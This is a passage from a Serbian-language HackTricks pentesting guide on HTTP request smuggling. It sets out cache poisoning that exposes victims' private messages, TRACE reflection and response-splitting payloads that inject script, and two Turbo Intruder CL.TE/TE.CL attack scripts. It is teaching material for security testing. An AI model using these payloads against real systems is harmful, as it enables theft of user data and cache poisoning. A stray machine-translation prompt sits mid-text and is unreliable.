Napadač kreira smuggled request koji preuzima osetljiv sadržaj specifičan za korisnika. Razmotrite sledeći primer:

markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Ako ova smuggled request otruje cache entry namenjen static content-u (npr. /someimage.png), osetljivi podaci žrtve iz /private/messages mogu biti keširani pod tim cache entry-jem. Posledično, napadač bi potencijalno mogao dohvatiti te keširane osetljive podatke.

Zloupotreba TRACE via HTTP Request Smuggling

In this post je sugerisano da, ako server ima omogućenu metodu TRACE, može biti moguće zloupotrebiti je pomoću HTTP Request Smuggling. Ovo je zato što ta metoda reflektuje svaki header poslat serveru kao deo body odgovora. Na primer:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Pošaljite sadržaj (markdown) koji želite da prevedem — nalepite ovde sadržaj datoteke src/pentesting-web/http-request-smuggling/README.md.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Primer kako zloupotrebiti ovo ponašanje bio bi da se smuggle first a HEAD request. Ovaj request će biti odgovorен samo sa headers od GET request-a (među njima Content-Type). I smuggle immediately after the HEAD a TRACE request, koji će reflecting the sent data.
Pošto HEAD response sadrži Content-Length header, response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data u odgovoru.
Taj odgovor će biti poslat sledećem request-u preko konekcije, pa se ovo može used in a cached JS file for example to inject arbitrary JS code.

Zloupotreba TRACE via HTTP Response Splitting

Nastavljanje praćenja this post predlaže drugi način zloupotrebe TRACE metode. Kao što je pomenuto, smuggling a HEAD request and a TRACE request omogućava control some reflected data u odgovoru na HEAD request. Dužina body-ja HEAD request-a je u osnovi naznačena u Content-Length header-u i formira se iz odgovora na TRACE request.

Stoga bi nova ideja bila da, znajući ovaj Content-Length i podatke date u TRACE response-u, bude moguće učiniti da TRACE response sadrži validan HTTP response posle poslednjeg bajta navedenog u Content-Length, što napadaču omogućava potpunu kontrolu nad request-om za sledeći odgovor (što bi moglo biti iskorišćeno za cache poisoning).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Generisaće ove odgovore (obratite pažnju kako HEAD odgovor ima Content-Length, što čini TRACE odgovor delom HEAD tela, i kada se HEAD Content-Length završi, validan HTTP odgovor je smuggled):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Oružavanje HTTP Request Smuggling pomoću HTTP Response Desynchronisation

Da li ste pronašli neku HTTP Request Smuggling ranjivost i ne znate kako da je iskoristite? Probajte ove druge metode eksploatacije:

HTTP Response Smuggling / Desync

Druge HTTP Request Smuggling tehnike

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder skripte

CL.TE

Iz https://hipotermia.pw/bb/http-desync-idor

python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Izvor: https://hipotermia.pw/bb/http-desync-account-takeover

python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Alati

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks